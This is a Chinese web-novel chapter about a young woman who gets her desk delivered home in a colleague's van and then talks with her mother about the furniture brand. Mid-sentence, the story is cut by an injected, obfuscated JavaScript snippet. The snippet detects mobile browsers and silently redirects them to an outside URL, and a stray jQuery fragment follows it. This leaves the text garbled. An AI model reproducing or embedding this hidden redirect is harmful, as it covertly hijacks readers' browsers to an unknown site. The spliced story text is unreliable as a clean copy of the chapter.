"没想到你开的居然是货车！"
凌零零瞪大眼睛，看着眼前这辆漆成深蓝色的小型货车。
车身上印着"XX家具"的logo，边缘有些掉漆，看起来已经用了些年头。
货车后厢敞开着，露出里面几块旧毛毯，可能是用来固定货物的。
范来单手转了转钥匙圈，金属碰撞发出清脆的声响。
"怎么，失望了？"她笑着拉开驾驶室的门，利落地跳上车。
"不是所有年轻姑娘都得开小轿车的。"
凌零零连忙摇头："不是不是，就是有点意外。"
她小心翼翼地踩着踏板爬上副驾驶，发现座位比想象中干净许多，椅背上还挂着毛绒绒的挂饰，随着车子的晃动轻轻摇摆。
范来单手打了把方向盘，车稳稳地停在了直销店前面。
凌零零注意到范来的指甲剪得短短的，右手腕上戴着一块黑色表带的运动手表。
两个人一起用小推车把装着书桌的纸箱推上了小货车。
纸箱比想象中沉，凌零零咬着牙使力，鼻尖沁出细密的汗珠。
范来倒是轻松得很，手臂肌肉线条在工服下若隐若现。
她麻利地用绳索固定好货物，打了个漂亮的结。
"走吧。差不多也到下班的点了。"
范来拍了拍手上的灰，从口袋里掏出手机，把导航调整到凌零零发给她的公寓定位。
然后她摇下车窗，挥手跟门卫打了个招呼。
工厂的自动伸缩大门发出"咔嗒咔嗒"的声响，渐渐打开。
夕阳的余晖从逐渐扩大的门缝中斜射进来，在地上投下长长的影子。
范来一踩油门，载着凌零零和家具驶出了工厂。
货车驶过减速带时颠簸了一下，凌零零下意识抓住了车门上的把手。
后视镜里，工厂大门缓缓关闭。
几个穿着蓝色工服的工人推着各自的小电驴走出来，在路口分散成不同的方向。
空气流动形成小风，副驾驶位上的凌零零打了个哆嗦。
冬天的寒风风像细小的针，从车窗缝隙钻进来。
她偷偷瞥了眼温度计。
范来注意到她的动作，一笑："货车内部空间比较大，我已经开了空调，一会就暖和了。"她伸手调整了出风口的方向，暖风立刻呼呼地吹向凌零零的膝盖。
凌零零羡慕地看着范来："你驾驶技术真好，还能开小货车。"
她想起网上对科目二的传说，为尚未考驾照的自己默默点了根蜡。
范来哈哈一笑，手指在方向盘上敲打着节奏。
"熟能生巧。我满18周岁就去考了驾照，开了四年多的车了。"
她转头看了眼凌零零，"你应该大学毕业了吧，还买书桌，是给自己用还是给......？"
凌零零听懂了范来话里的揶揄，脸微微发热。
她低头摆弄着安全带，解释道。
"我现在正在准备法考，材料比较多。另外有时也在家里工作，家里的桌子不够大，所以买了新的。"
随即又赶紧换了个话题："你看起来应该跟我差不多大，18岁考驾照，在大学里就去考了呀？"
前方红灯。
范来一踩刹车，货车稳稳停在白线前。
"我没读大学，我读的是大专。"
范来的语气很平静，手指摩挲着方向盘上的纹路。
"啊。不好意思，我..."
凌零零觉得自己说错话了，赶紧想道歉，但是又觉得不合适，道歉不就等于她觉得大专不好。她的手指绞在一起，指节都泛白了。
车里的空气突然变得有些凝重，只有空调运转的嗡嗡声。
"不用不好意思啊。"
绿灯亮起，范来一踩油门，小货车继续前进，
她的语气轻松起来："我家做家具，我直接读的就是家具设计与制造专业，大专里教的实践内容多，相当于我边学边工作，比别人多了几年经验。"
凌零零偷偷松了口气，用力点头："哦哦，这样啊。"
她看着窗外飞驰而过的街景，行道树上挂着的装饰灯渐渐亮起。
"其实我觉得这样挺好的，能学以致用。"
她想起自己大学四年学的那些理论，找工作时的茫然无措，声音渐渐低了下去。
车里的空调暖风打了起来，整个车里暖洋洋的。
凌零零的眼皮渐渐有些重。
她这个上了车就容易睡觉的毛病，一直没能改掉。
范来的车开得很稳，匀速前进的轻微震动像摇篮一样。
窗外的景色渐渐模糊，霓虹灯变成流动的光带...
"凌零零，到了。"
凌零零觉得有人在轻拍她的脸，她迷迷糊糊睁开眼睛。
眼前是范来放大的脸，能看清她睫毛的弧度。再一看车的前窗，前面已经是她住的公寓了。
她一个激灵坐直了，嘴角还有点湿湿的痕迹。
"我睡着了。"
凌零零愈加懊悔，范来好心送她回来，她在人家车上睡着了，岂不是把人家彻底当成了司机。
她手忙脚乱地解开安全带，差点被卡住。
"真的不好意思，我..."
范来摆摆手："没事，我开车技术好，坐我车睡着的人可多了。"
她眨眨眼，打开车门跳了下去。
冷风立刻灌进来，凌零零彻底清醒了。
范来打开车尾门，帮着凌零零把装着书桌的纸箱卸了下来。
纸箱在水泥地上发出沉闷的声响。
"我自己可以的，你快回去吧，天冷，还没吃晚饭呢。"
凌零零觉得不能再让范来出力了，否则她的脸就要燃烧起来了。
她死活拦在纸箱前，像只护食的小动物。
范来被她的样子逗笑了："行行行，那我先走了。"
她跳上车，摇下车窗，"如果你有什么问题，再联系我。"
她晃了晃手机，屏幕上还显示着她们的微信聊天界面。
凌零零看着小货车越开越远，尾灯在夜色中像两颗红色的星星，直到转弯消失不见。
然后，又把视线转回，现在她得面对这个比想象中沉得多的纸箱了。
凌零零抓住纸箱上的尼龙绳，连拉带拽，总算从公寓门前的斜坡把书桌拖到一楼大厅。
汗水把她的刘海都黏在了额头上。
电梯门缓缓关闭时。
她靠在冰凉的金属壁上，看着纸箱上"XX家具"的logo，长吁了一口气。
第二天是周六。
冬日的晨光透过窗帘的缝隙斜斜地切进来，在凌零零的被子上画出一道金色的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168611|174234||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
细线。
她整个人蜷缩在温暖的被窝里，像只冬眠的松鼠，只露出半个毛茸茸的脑袋。
床头柜上的电子钟显示8:02，房间里静得能听见暖气片里水流循环的细微声响。
"零零，都八点了，你怎么还在睡觉。"
卧室门被猛地推开，伴随着中气十足的嗓音和一股从厨房带来的葱花香气。
凌零零条件反射地把头往被子里缩了缩，迷迷糊糊撑开眼睛一条缝。
逆光中，凌妈——这位五十多岁依然保持着晨跑习惯的高能量女性
——已经站在床边，左手拎着滴水的环保袋，里面装着还带着晨露的青菜，右手正要去掀她的被子。
"哎呀。妈，别吵我。我昨天累坏了。"
凌零零的声音闷在被子里，带着没睡醒的黏糊感。
她翻了个身，把后背对着妈妈的方向，顺势用被子把自己裹成个蚕蛹。
记忆慢慢回笼——昨晚到家后，她迫不及待剪开那些勒进纸箱的尼龙绳，拆开包装，然后...对着满地长长短短的木板和大大小小的螺丝钉发了半小时呆。
以前在商场看到的家具都是现成的，顶多需要拧几个螺丝。
这是她第一次买需要完全自己组装的家具，那些标着"A-3""B-2"的零件像一道高等数学题摆在她面前。
她围着这堆"拼图"转了几圈，甚至对照着说明书比划了半天，最终决定先去吃饭、刷法考题，然后洗洗睡了。
这一睡，就睡到了凌妈来突击检查。
"先吃早饭！"凌妈一把掀开被子。
冷空气瞬间入侵，凌零零"嗷"地一声弹了起来。
凌妈已经利落地从衣柜里抽出她的珊瑚绒家居服扔过来，"快点，豆沙包子要凉了。"
十分钟后，凌零零闭着眼睛坐在餐桌前，机械地咀嚼着温热的豆沙包子。
厨房飘来小米粥的香气，凌妈正在流理台前处理刚买回来的菜。
水龙头哗哗的流水声和菜刀落在砧板上的哒哒声组成清晨的交响乐。
她半梦半醒间听见妈妈在客厅里走动的声音，然后是塑料包装纸被翻动的窸窣声。
"这不是XX家具吗，质量很好的。"
凌妈的声音从客厅传来，伴随着木板被敲击的清脆声响。
"妈，你知道这个牌子啊？"凌零零含着一口豆沙包子，含混不清地搭话。
她摸索着端起马克杯，灌下一大口牛奶咖啡，微苦的液体顺着食道滑下，像一剂强行开机的良药。
"我们那个年代，结婚买家具，要是买这个牌子的，可是老扎台型的。"
凌妈的声音里带着怀念，她又敲了敲其中一块木板。
"嗯，质量还是和当年一样，没的说。可惜啊，外面现在都不太能看到这个牌子了。"
凌零零又喝了口咖啡，感觉脑中的迷雾渐渐散去。
她揉了揉眼睛，终于完全清醒过来。
嗯？为什么外面都看不到这个牌子了？
这个疑问像一滴水落入油锅，在凌零零心里激起一片涟漪。
她趿拉着毛绒拖鞋走到客厅，看见凌妈正蹲在那堆木板前，手指轻轻抚过木纹，眼神温柔得像在看一个老友。
阳光此刻已经充满了半个客厅，照在那堆木板上，给原本冷硬的材质镀上一层温暖的金边。